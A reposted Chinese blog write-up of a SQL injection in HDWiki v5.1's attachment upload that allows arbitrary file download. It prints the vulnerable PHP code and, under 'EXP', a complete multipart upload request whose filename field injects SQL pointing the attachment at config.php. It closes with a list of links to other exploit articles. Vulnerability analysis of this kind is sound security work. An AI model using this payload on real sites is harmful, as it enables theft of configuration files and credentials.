hdwiki v5.1存在SQL注入导致可下载任意文件

news/2024/9/30 0:33:36/

2019独角兽企业重金招聘Python工程师标准>>> hot3.png

1、hdwiki的运行模式

每到来一个请求,请求index.php,index.php使用请求中的querystring,querystring的形式是class-mothod的形式,去加载controller。本案中加载的attachment.php这个controller,controller的构造函数调用了attachment的model,最后把这个model放到$_ENV变量中

加载完毕controller之后,index.php中的程序会使用method的值,去调用controller 中的函数,本案中调用的是attachment的uploadimg和download

2、漏洞位置

漏洞存在于model/attachment.class.php,出现该漏洞是下图所示的注释内容不存在导致了注入

	function add_attachment($uid,$did,$filename,$attachment,$description,$filetype='.jpg',$isimage=1,$coindown=0){$filesize=filesize($attachment);#$filename=string::haddslashes($filename);if(empty($coindown) || !is_numeric($coindown)) {$coindown = 0;}$this->db->query("INSERT INTO ".DB_TABLEPRE."attachment(did,time,filename,description,filetype,filesize,attachment,coindown,isimage,uid) VALUES ($did,{$this->base->time},'$filename','$description','$filetype','$filesize','$attachment',$coindown,$isimage,$uid)");return $this->db->insert_id();}

 

当该段代码存在漏洞时,从客户端获得的$filename变量没有经过addslashes进行转义直接放入了insert语句中,此时可以闭合insert语句,在下载的位置插入你想下载的文件名称,比如config.php

下载的代码如下

	function dodownload(){if(!isset($this->get[2]) || !is_numeric($this->get[2])){$this->message($this->view->lang['parameterError'],'BACK');}$result=$_ENV['attachment']->get_attachment('id',$this->get[2],0);if(!(bool)$attachment=$result[0]){$this->message($this->view->lang['attachIsNotExist'],'BACK');}if($this->user['uid'] != $attachment['uid']) {// 判断金币$credit1 = $this->user['credit1'];		// 拥有金币数$coindown = $attachment['coindown'];	// 下载此附件需要消耗金币数if(0 > $credit1 - $coindown) {// 金币不足$this->message($this->view->lang['goldNotEnough'],"index.php?doc-view-".$attachment['did'],0);}// 扣除金币$_ENV['user']->add_credit($this->user['uid'],'attachment-down',0,-$coindown);// 增加金币$_ENV['user']->add_credit($attachment['uid'],'attachment-down',0,$coindown);}$_ENV['attachment']->update_downloads($attachment['id']);file::downloadfile($attachment['attachment'],$attachment['filename']);}

 

	function downloadfile($filepath,$filename=''){if(!file_exists($filepath)){return 1;}if(''==$filename){$tem=explode('/',$filepath);$num=count($tem)-1;$filename=$tem[$num];$filetype=substr($filepath,strrpos($filepath,".")+1);}else{$filetype=substr($filename,strrpos($filename,".")+1);}$filename_utf=function_exists(mb_convert_encoding)?mb_convert_encoding($filename, "gbk",'utf-8'):urldecode($filename);$filename ='"'.(strtolower(WIKI_CHARSET) == 'utf-8' && !(strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') === FALSE) ? $filename_utf : $filename).'"';$filesize = filesize($filepath);$dateline=time();file::hheader('date: '.gmdate('d, d m y h:i:s', $dateline).' gmt');file::hheader('last-modified: '.gmdate('d, d m y h:i:s', $dateline).' gmt');file::hheader('content-encoding: none');file::hheader('content-disposition: attachment; filename='.$filename);file::hheader('content-type: '.$filetype);file::hheader('content-length: '.$filesize);file::hheader('accept-ranges: bytes');if(!@empty($_SERVER['HTTP_RANGE'])) {list($range) = explode('-',(str_replace('bytes=', '', $_SERVER['HTTP_RANGE'])));$rangesize = ($filesize - $range) > 0 ?  ($filesize - $range) : 0;file::hheader('content-length: '.$rangesize);file::hheader('http/1.1 206 partial content');file::hheader('content-range: bytes='.$range.'-'.($filesize-1).'/'.($filesize));}if($fp = @fopen($filepath, 'rb')) {@fseek($fp, $range);echo fread($fp, filesize($filepath));}fclose($fp);flush();ob_flush();}

 

下载调用attachment-download-xx,其中xx是附件的ID。

如果插入的时候说的下载的文件是config.php,这里就会下载config.php

3、后记

insert语句的注入接触得比较少。

 

4、EXP

POST /HDWiki-v5.1UTF8-20121102/hdwiki/index.php?attachment-uploadimg-56 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://localhost/HDWiki-v5.1UTF8-20121102/hdwiki/index.php?doc-create
Cookie: hd_sid=Bt0yO7; hd_auth=c701xbewwRttXTWmEfTitYLArcr4zMn0TGPnyic7X88rXCWcRggNb%2Bdl2EVozEComqD40qfHev4M0ZgOylZ3
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------106771681822525
Content-Length: 37933-----------------------------106771681822525
Content-Disposition: form-data; name="photofile"; filename="upload','hehe','gif','10000','config.php',0,1,2)#.gif"
Content-Type: image/png

上传文件的过程将filename改成图中的exp既可。

转载于:https://my.oschina.net/u/812640/blog/1620432


http://www.ppmy.cn/news/177539.html

相关文章

python:open()方法+循环语句 练习

python:open()方法循环语句 练习 1.以二进制的方式去读1.jpg 2.以二进制的方式去写2.jpg 以二进制的方式去读1.jpg ,代码如下 file_obj1 open("1.jpg", rb) data_1 file_obj1.read() file_obj1.close() print(data_1)结果如下 b\xff\xd…

Python图像处理PIL各模块介绍

Image模块 Image模块是在Python PIL图像处理中常见的模块,对图像进行基础操作的功能基本都包含于此模块内。如open、save、conver、show…等功能。 open类 Image.open(file) ⇒ image Image.open(file, mode) ⇒ image 要从文件加载图像,使用 open() 函…

小知识点笔记一(原始版)

小知识点笔记一(原始版) 散装知识点1:Python简介解释型语言:解释,执行,解释,执行...编译型语言:编译,连接,执行解释型语言:解释器编译型语言&…

Free CD to MP3 Converter V3.1 栈溢出漏洞分析与利用

Free CD to MP3 Converter V3.1 栈溢出漏洞分析与利用 测试环境及工具: windbg IDA winxp sp3这算是正式调试分析的第一个漏洞,也是跟着一位学长的博客做一个复现(原博客地址在文末)。这款软件是一款音频文件转换的软件,漏洞是未检查输入文件长度而导…

Stapler: 1

Stapler: 1 项目地址:https://www.vulnhub.com/entry/stapler-1,150/ 文章目录 Stapler: 1一、信息收集:1. 靶机地址获取:2. 收集端口服务信息: 二、信息利用1. 针对12380端口进行web目录枚举:1.1 访问:ph…

Kolibri v2.0-Buffer Overflow成功复现

Kolibri v2.0-Buffer Overflow成功复现及分析 文件下载地址:http://pan.baidu.com/s/1eS9r9lS 正文 本次讲解用JMP ESP的方法溢出 关于网上的寻蛋指令将会在末尾给出地址 环境:windows xp sp3 工具:Immunity Debugger 配置Kolibri并开启服务 …

GMM Kmeans代码示例

GMM代码 #! /usr/bin/env python #codingutf-8from numpy import * import pylab import random,mathdef loadDataSet(fileName): #general function to parse tab -delimited floatsdataMat [] #assume last column is target valuefr open(fileName)f…

PCManFTP v2.0(CVE-2013-4730)漏洞分析报告

PCManFTP v2.0(CVE-2013-4730)漏洞分析报告 软件名称:PCManFTP 软件版本:2.0 漏洞模块:PCManFTPD2.exe 模块版本:2.0.0.0 编译日期:2005-01-01 操作系统:Windows XP/2003/7/8.1/10 漏…